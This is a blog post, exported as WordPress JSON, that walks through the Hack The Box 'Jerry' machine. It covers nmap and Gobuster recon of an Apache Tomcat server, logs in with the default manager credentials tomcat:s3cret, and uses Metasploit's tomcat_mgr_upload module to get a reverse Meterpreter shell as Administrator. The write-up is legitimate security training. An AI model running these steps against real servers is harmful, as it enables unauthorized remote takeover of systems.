{"id":334,"date":"2023-04-30T15:56:15","date_gmt":"2023-04-30T20:56:15","guid":{"rendered":"https:\/\/binaryblisters.com\/?p=334"},"modified":"2023-04-30T15:56:15","modified_gmt":"2023-04-30T20:56:15","slug":"hack-the-box-jerry-walkthrough","status":"publish","type":"post","link":"https:\/\/binaryblisters.com\/?p=334","title":{"rendered":"Hack The Box &#8211; Jerry Walkthrough"},"content":{"rendered":"\n<p>I&#8217;m really excited about this one because it was the first HTB machine I didn&#8217;t look up any hints or other walkthroughs. This was surprising to me because, after the first NMAP scan, I thought I was going to immediately go to a walkthrough for it. But I didn&#8217;t.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"483\" src=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-88-1024x483.png\" alt=\"\" class=\"wp-image-336\" srcset=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-88-1024x483.png 1024w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-88-300x142.png 300w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-88-768x362.png 768w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-88-1536x725.png 1536w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-88-2048x966.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>As always, here is a link to my original <a href=\"https:\/\/sgtdiddlywink.gitbook.io\/htb\/\">notes<\/a> if you want to see my methodology and madness.<\/p>\n\n\n\n<p>Let&#8217;s get started.<\/p>\n\n\n\n<p>The first step I take in any machine is to ensure I&#8217;m actually connected to the VPN by just running a ping test to the target machine. Feel free to skip this but I&#8217;ve wasted time before thinking I was connected just to find out I wasn&#8217;t. Your call.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ping &#91;Target IP]<\/code><\/pre>\n\n\n\n<p>After confirming that we are connected let&#8217;s get started for real this time.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Recon<\/h2>\n\n\n\n<p>In the case of this machine, I will go ahead and use the tried and true tool, NMAP.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nmap &#91;Target IP]<\/code><\/pre>\n\n\n\n<p>Right off the bat, it looks like ping scans are blocked so we&#8217;ll add another flag to get the scan working.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nmap -Pn &#91;Target IP]<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"944\" height=\"322\" src=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-89.png\" alt=\"\" class=\"wp-image-337\" srcset=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-89.png 944w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-89-300x102.png 300w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-89-768x262.png 768w\" sizes=\"auto, (max-width: 944px) 100vw, 944px\" \/><\/figure>\n\n\n\n<p>I went ahead and ran a full NMAP scan as well to see if any non-typical ports will be open with the <strong>-p-<\/strong> flag. This didn&#8217;t give us any other ports open.<\/p>\n\n\n\n<p>Let&#8217;s do a more detailed scan on <strong>Port 8080<\/strong> since it is open.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nmap -Pn -A -p 8080 &#91;Target IP]<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"334\" src=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-90-1024x334.png\" alt=\"\" class=\"wp-image-338\" srcset=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-90-1024x334.png 1024w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-90-300x98.png 300w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-90-768x251.png 768w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-90.png 1381w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>This has given us quite a bit of information but let&#8217;s jump over to a browser for some further information gathering. <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:\/\/&#91;Target IP]:8080<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"900\" src=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-91-1024x900.png\" alt=\"\" class=\"wp-image-339\" srcset=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-91-1024x900.png 1024w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-91-300x264.png 300w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-91-768x675.png 768w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-91.png 1325w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>It looks like we have a default web server set up with Apache Tomcat. This is a good sign that everything else will be set to defaults meaning we may be able to find some easy exploits.<\/p>\n\n\n\n<p>Jumping around to other tabs gives us a lot of good information. Mainly the manager tabs.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Enumeration<\/h2>\n\n\n\n<p>I went ahead and ran a Gobuster scan to see what other directories were available. You don&#8217;t have to do this as you should be able to access most of them straight from the home page.<\/p>\n\n\n\n<p>I went to the Host Manager Tab.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"498\" height=\"318\" src=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-92.png\" alt=\"\" class=\"wp-image-340\" srcset=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-92.png 498w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-92-300x192.png 300w\" sizes=\"auto, (max-width: 498px) 100vw, 498px\" \/><\/figure><\/div>\n\n\n<p>It looks like we are asked for a username and password.<\/p>\n\n\n\n<p>We have a few options here. I started by doing some Googling to see if there are default credentials I could use. However, we could also use a Metasploit Auxillary tool to brute force some login credentials.<\/p>\n\n\n\n<p>If you browse around on Google it is not that hard to find some credentials. In this case, the one that finally worked for me, I found after trying too many times and being given a <strong>Access Denied<\/strong> page. On the page it gives you some credentials that actually work.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"193\" src=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-93-1024x193.png\" alt=\"\" class=\"wp-image-341\" srcset=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-93-1024x193.png 1024w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-93-300x56.png 300w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-93-768x145.png 768w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-93-1536x289.png 1536w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-93-2048x385.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>tomcat:s3cret<\/code><\/pre>\n\n\n\n<p>With this information we can now login to the <strong>Manager<\/strong> directory.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"494\" src=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-94-1024x494.png\" alt=\"\" class=\"wp-image-342\" srcset=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-94-1024x494.png 1024w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-94-300x145.png 300w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-94-768x370.png 768w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-94-1536x741.png 1536w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-94-2048x988.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>There is a lot of good info here. If you want to see everywhere I went, feel free to check out the link above to my original notes.<\/p>\n\n\n\n<p>Let&#8217;s jump to what finally got me to the flags.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Exploitation<\/h2>\n\n\n\n<p>I ran <strong>Apache Tomcat version 7.0.88<\/strong> through Google first to see what was available. This is a pretty old version of Tomcat and Google comes back with a lot of different exploit options.<\/p>\n\n\n\n<p>I decided to boot up Metasploit and see what we can get done.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msfconsole\nsearch tomcat<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"468\" src=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-95-1024x468.png\" alt=\"\" class=\"wp-image-343\" srcset=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-95-1024x468.png 1024w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-95-300x137.png 300w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-95-768x351.png 768w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-95-1536x702.png 1536w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-95-2048x935.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>We have a lot of possible options. Including the Auxillary tool (27) that can be used to brute force credentials.<\/p>\n\n\n\n<p>The one I finally got to work is the <strong>multi\/http\/tomcat_mgr_upload<\/strong> (7).<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>use multi\/http\/tomcat_mgr_upload\nshow options<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"479\" src=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-96-1024x479.png\" alt=\"\" class=\"wp-image-344\" srcset=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-96-1024x479.png 1024w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-96-300x140.png 300w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-96-768x359.png 768w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-96-1536x719.png 1536w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-96-2048x958.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>I have already inputted values as shown above but make sure you input the needed options.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>set HttpPassword s3cret\nset HttpUsername tomcat\nset RHOSTS &#91;Target IP]\nset RPORT 8080\nset LHOST &#91;Host IP]\nexploit<\/code><\/pre>\n\n\n\n<p>If everything goes right, you should quickly gain a Meterpreter session to the target system. You can confirm this by running <strong>pwd<\/strong>.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"406\" height=\"67\" src=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-97.png\" alt=\"\" class=\"wp-image-345\" srcset=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-97.png 406w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/04\/image-97-300x50.png 300w\" sizes=\"auto, (max-width: 406px) 100vw, 406px\" \/><\/figure><\/div>\n\n\n<p>You can run the following to get a regular shell connection to the system.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>shell<\/code><\/pre>\n\n\n\n<p>You should now be the <strong>Administrator<\/strong> of the system. I had to browse around for the flags but found them pretty quickly in the <strong>Administrator<\/strong>&#8216;s directory.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cd C:\\Users\\Administrator\\Desktop\\flags\ntype \"2 for the price of 1.txt\"<\/code><\/pre>\n\n\n\n<p>And there you should have it. As usual, I won&#8217;t actually give you the answer as you&#8217;ll have to do it yourself but if you follow this it should be relatively easy.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><\/h2>\n\n\n\n<p>This machine was a great confidence booster in my abilities and is making me look forward to the next one. The HTB machines have really been kicking my butt this was the first one that I could exercise some of the knowledge that I&#8217;ve been gaining.<\/p>\n\n\n\n<p>Hopefully, this guide will help you out, let me know if you have any questions or concerns.<\/p>\n\n\n\n<p>As always, thanks for reading and catch you all later.<\/p>\n\n\n\n<p>-sgtdiddlywink<\/p>\n","protected":false},"excerpt":{"rendered":"<p>I&#8217;m really excited about this one because it was the first HTB machine I didn&#8217;t look up any hints or other walkthroughs. This was surprising to me because, after the first NMAP scan, I thought I was going to immediately go to a walkthrough for it. But I didn&#8217;t. As always, here is a link [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":346,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[48,79],"tags":[98,63,82,80,96,64,97],"class_list":["post-334","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hacking","category-htb","tag-apache","tag-gobuster","tag-hack-the-box","tag-htb","tag-metasploit","tag-nmap","tag-tomcat"],"_links":{"self":[{"href":"https:\/\/binaryblisters.com\/index.php?rest_route=\/wp\/v2\/posts\/334","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/binaryblisters.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/binaryblisters.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/binaryblisters.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/binaryblisters.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=334"}],"version-history":[{"count":1,"href":"https:\/\/binaryblisters.com\/index.php?rest_route=\/wp\/v2\/posts\/334\/revisions"}],"predecessor-version":[{"id":347,"href":"https:\/\/binaryblisters.com\/index.php?rest_route=\/wp\/v2\/posts\/334\/revisions\/347"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/binaryblisters.com\/index.php?rest_route=\/wp\/v2\/media\/346"}],"wp:attachment":[{"href":"https:\/\/binaryblisters.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=334"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/binaryblisters.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=334"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/binaryblisters.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=334"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}